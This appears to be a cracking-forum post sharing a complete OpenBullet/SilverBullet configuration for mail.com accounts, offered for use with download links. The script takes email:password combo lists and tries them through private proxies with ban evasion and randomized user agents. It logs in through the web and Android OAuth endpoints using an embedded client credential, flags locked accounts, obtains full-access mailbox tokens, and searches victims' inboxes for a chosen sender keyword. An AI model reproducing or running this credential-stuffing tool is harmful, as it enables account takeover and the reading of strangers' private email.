Open Bullet Mail.com Inbox Searcher [.SVB]

[Anduril]

Email:Pass
Proxy: YES PRIVATE
Capture: Yes / No its a Inbox searcher so i guess "Capture"​

---

Spoiler

[SETTINGS]
{
"Name": "Mail.com",
"SuggestedBots": 5,
"MaxCPM": 0,
"LastModified": "2023-09-15T08:59:06.2360913-05:00",
"AdditionalInfo": "",
"RequiredPlugins": [],
"Author": "@TyphonServices",
"Version": "1.1.2 [SB]",
"SaveEmptyCaptures": false,
"ContinueOnCustom": false,
"SaveHitsToTextFile": false,
"IgnoreResponseErrors": false,
"MaxRedirects": 8,
"NeedsProxies": true,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 2,
"BanProxyAfterGoodStatus": true,
"BanLoopEvasionOverride": -1,
"EncodeData": false,
"AllowedWordlist1": "Default",
"AllowedWordlist2": "",
"DataRules": [
{
"SliceName": "USER",
"RuleType": 4,
"RuleString": "^[A-Za-z0-9][A-Za-z0-9._%+-]*@(?i:mail\\.com|email\\.com|usa\\.com|myself\\.com|consultant\\.com|post\\.com|europe\\.com|asia\\.com|iname\\.com|writeme\\.com|dr\\.com|cheerful\\.com|accountant\\.com|techie\\.com|engineer\\.com|linuxmail\\.org|musician\\.org|contractor\\.net|workmail\\.com|financier\\.com)$",
"Id": 1456286768
}
],
"CustomInputs": [
{
"Description": "• Enter your desired KEYWORD:",
"VariableName": "KEYWORD",
"Id": 233346083
}
],
"CaptchaUrl": "",
"IsBase64": false,
"FilterList": [],
"EvaluateMathOCR": false,
"SecurityProtocol": 0,
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"QuitOnBanRetry": false,
"AcceptInsecureCertificates": true,
"DisableNotifications": false,
"DisableImageLoading": false,
"DefaultProfileDirectory": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": "",
"Title": "Mail.com",
"IconPath": "Icon\\svbfile.ico",
"LicenseSource": null,
"Message": null,
"MessageColor": "#FFFFFFFF",
"HitInfoFormat": "[{hit.Type}][{hit.Proxy}] {hit.Data} - [{hit.CapturedString}]",
"AuthorColor": "#FFFFB266",
"WordlistColor": "#FFB5C2E1",
"BotsColor": "#FFA8FFFF",
"CustomInputColor": "#FFD6C7C7",
"CPMColor": "#FFFFFFFF",
"ProgressColor": "#FFAD93E3",
"HitsColor": "#FF66FF66",
"CustomColor": "#FFFFB266",
"ToCheckColor": "#FF7FFFD4",
"FailsColor": "#FFFF3333",
"RetriesColor": "#FFFFFF99",
"OcrRateColor": "#FF4698FD",
"ProxiesColor": "#FFFFFFFF"
}

[SCRIPT]
#USER-AGENT FUNCTION GetRandomUA BROWSER IOS -> VAR "USER-AGENT"

#EUCONSENT-V2 FUNCTION RandomString "CO-HQ?i3O-HQ?i?i?i?i?i?i?i?i?i?i?i?i?iA?i?i?iA?i?i?i?i?i?i?i?i?iN?i_?i_?ib?i_j-_59?i?it?i?i?i?if?i_?i_?i2?i?i?i?i?ids-8Ny?i_?i_?i8?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?iH?i?i?i9?i?i?i?i?i?i7?i_s_?i_z__-__v_?i77?i_r-3_?i_?ip9V--wA?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i?i4?i?i?iC?i?i?i?i?i?i?iA.f?i?iA?i?i?i?i?i?iAA" -> VAR "EUCONSENT-V2"

#HASH FUNCTION Hash MD5 "<EUCONSENT-V2>" -> VAR "WA"

#POST REQUEST POST "https://login.mail.com/login" AutoRedirect=FALSE EncodeContent=TRUE
CONTENT "service=mailint&uasServiceID=mc_starter_mailcom&successURL=https://$(clientName)-$(dataCenter).mail.com/login&loginFailedURL=https://www.mail.com/int/logout/?ls=wd&loginErrorURL=https://www.mail.com/int/logout/?ls=te&edition=int&lang=en&usertype=standard&username=<USER>&password=<PASS>"
CONTENTTYPE "application/x-www-form-urlencoded"
COOKIE "euconsent-v2: <EUCONSENT-V2>"
COOKIE "euconsent-bypass: 1"
COOKIE "wa: <WA>"
COOKIE "idcc: 1"
COOKIE "consentLevel: 3"
COOKIE "uiconsent: {%22permissionFeature%22:[%22fullConsent%22]}"
COOKIE "cookieKID: kid%40autoref%40www.mail.com"
COOKIE "cookiePartner: kid%40autoref%40www.mail.com"
COOKIE "ushallpass: true"
COOKIE "GDNA: true"
HEADER "user-agent: <USER-AGENT>"
HEADER "accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
HEADER "accept-language: de,en-US;q=0.7,en;q=0.3"
HEADER "accept-encoding: br, gzip, deflate"
HEADER "referer: https://www.mail.com/"
HEADER "origin: https://www.mail.com"
HEADER "dnt: 1"

KEYCHECK
KEYCHAIN Failure OR
KEY "<HEADERS(Location)>" Contains "https://www.mail.com/int/logout/"
KEYCHAIN Success AND
KEY "<HEADERS(Location)>" Contains ".mail.com/login"
KEY "<HEADERS(Location)>" DoesNotContain "mail.com/logininterceptionfrontend/?interceptiontype=AbuseHardLock"
KEY "<HEADERS(Location)>" DoesNotContain ".mail.com/logininterceptionfrontend/?interceptiontype=ForceChangePasswordLock"
KEY "<HEADERS(Location)>" MatchesRegex "(?is:https://(.+?)-(.+?)\\.mail\\.com/login)"
KEYCHAIN Custom "LOCKED" OR
KEY "<HEADERS(Location)>" Contains "mail.com/logininterceptionfrontend/?interceptiontype=AbuseHardLock"
KEYCHAIN Custom "FORCE_CHANGE_PASS" OR
KEY "<HEADERS(Location)>" Contains ".mail.com/logininterceptionfrontend/?interceptiontype=ForceChangePasswordLock"

#POST REQUEST POST "https://oauth2.mail.com/token" AutoRedirect=FALSE EncodeContent=TRUE
CONTENT "grant_type=password&username=<USER>&password=<PASS>&device_name=GPixel"
CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "Authorization: Basic bWFpbGNvbV9tYWlsYXBwX2FuZHJvaWQ6a2luMmxTU2tVUXRRQ0NsWG9YZklOaEp1bUc2SmQwM0taNVdMN05KOQ=="
HEADER "User-Agent: mailcom.android.androidmail/7.5.1 Dalvik/2.1.0 (Linux; U; Android 10; GPixel Build/OPR8.119023.7)"
HEADER "X-UI-APP: mailcom.android.androidmail/7.5.1"
HEADER "Host: oauth2.mail.com"
HEADER "Connection: Keep-Alive"
HEADER "Accept-Encoding: gzip"

KEYCHECK
KEYCHAIN Success OR
KEY "<SOURCE>" MatchesRegex "(?i:\"refresh_token\")"
KEYCHAIN Ban OR
KEY "<SOURCE>" MatchesRegex "(?i:\"ACCOUNT_NOT_FOUND_OR_PASSWORD_WRONG\"|\"invalid_request\")"

#refresh_token PARSE "<SOURCE>" JSON "refresh_token" CreateEmpty=FALSE -> VAR "REFRESH_TOKEN"

IF "<REFRESH_TOKEN>" DoesNotExist
SET STATUS RETRY
ENDIF

#POST REQUEST POST "https://oauth2.mail.com/token" AutoRedirect=FALSE EncodeContent=TRUE
CONTENT "grant_type=refresh_token&refresh_token=<REFRESH_TOKEN>&scope=mailbox_user_full_access mailbox_user_status_access foo bar"
CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "Authorization: Basic bWFpbGNvbV9tYWlsYXBwX2FuZHJvaWQ6a2luMmxTU2tVUXRRQ0NsWG9YZklOaEp1bUc2SmQwM0taNVdMN05KOQ=="
HEADER "User-Agent: mailcom.android.androidmail/7.5.1 Dalvik/2.1.0 (Linux; U; Android 10; GPixel Build/OPR8.119023.7)"
HEADER "X-UI-APP: mailcom.android.androidmail/7.5.1"
HEADER "Host: oauth2.mail.com"
HEADER "Connection: Keep-Alive"
HEADER "Accept-Encoding: gzip"

#Authorization PARSE "<SOURCE>" JSON "access_token" CreateEmpty=FALSE -> VAR "AUTHORIZATION" "Bearer " ""

IF "<AUTHORIZATION>" DoesNotExist
SET STATUS BAN
ENDIF
SET CAP "Keyword" "<KEYWORD>"
BEGIN SCRIPT JavaScript
var DETAILS_POST_BODY = JSON.stringify({
include: [{ conditions: ["mail.header:from:".concat(KEYWORD)] }],
amount: 100,
orderBy: "INTERNALDATE desc",
excludeFolderTypeOrId: ["DRAFTS", "OUTBOX"],
preferAbsoluteURIs: false,
});
END SCRIPT -> VARS "DETAILS_POST_BODY"

#DETAILS REQUEST POST "https://hsp.mail.com/http-service-p...x/primaryMailbox/Mail/Query?absoluteURI=false" AutoRedirect=FALSE
CONTENT "<DETAILS_POST_BODY>"
CONTENTTYPE "application/vnd.ui.trinity.mailquery+json"
HEADER "accept: application/vnd.ui.trinity.messages+json"
HEADER "accept-charset: utf-8"
HEADER "authorization: <AUTHORIZATION>"
HEADER "User-Agent: mailcom.android.androidmail/7.5.1 Dalvik/2.1.0 (Linux; U; Android 10; GPixel Build/OPR8.119023.7)"
HEADER "x-ui-app: mailcom.android.androidmail/7.5.1"
HEADER "accept-encoding: gzip"

#totalCount PARSE "<SOURCE>" JSON "totalCount" JTokenParsing=TRUE CreateEmpty=FALSE -> CAP "totalCount"

FUNCTION Constant

---

Spoiler

MailSearcher.txt

This file has been shared with you on pixeldrain

pixeldrain.com

Spoiler

UPLOAD.EE - MailSearcher.txt - Download

MailSearcher.txt - Download. Upload.ee

www.upload.ee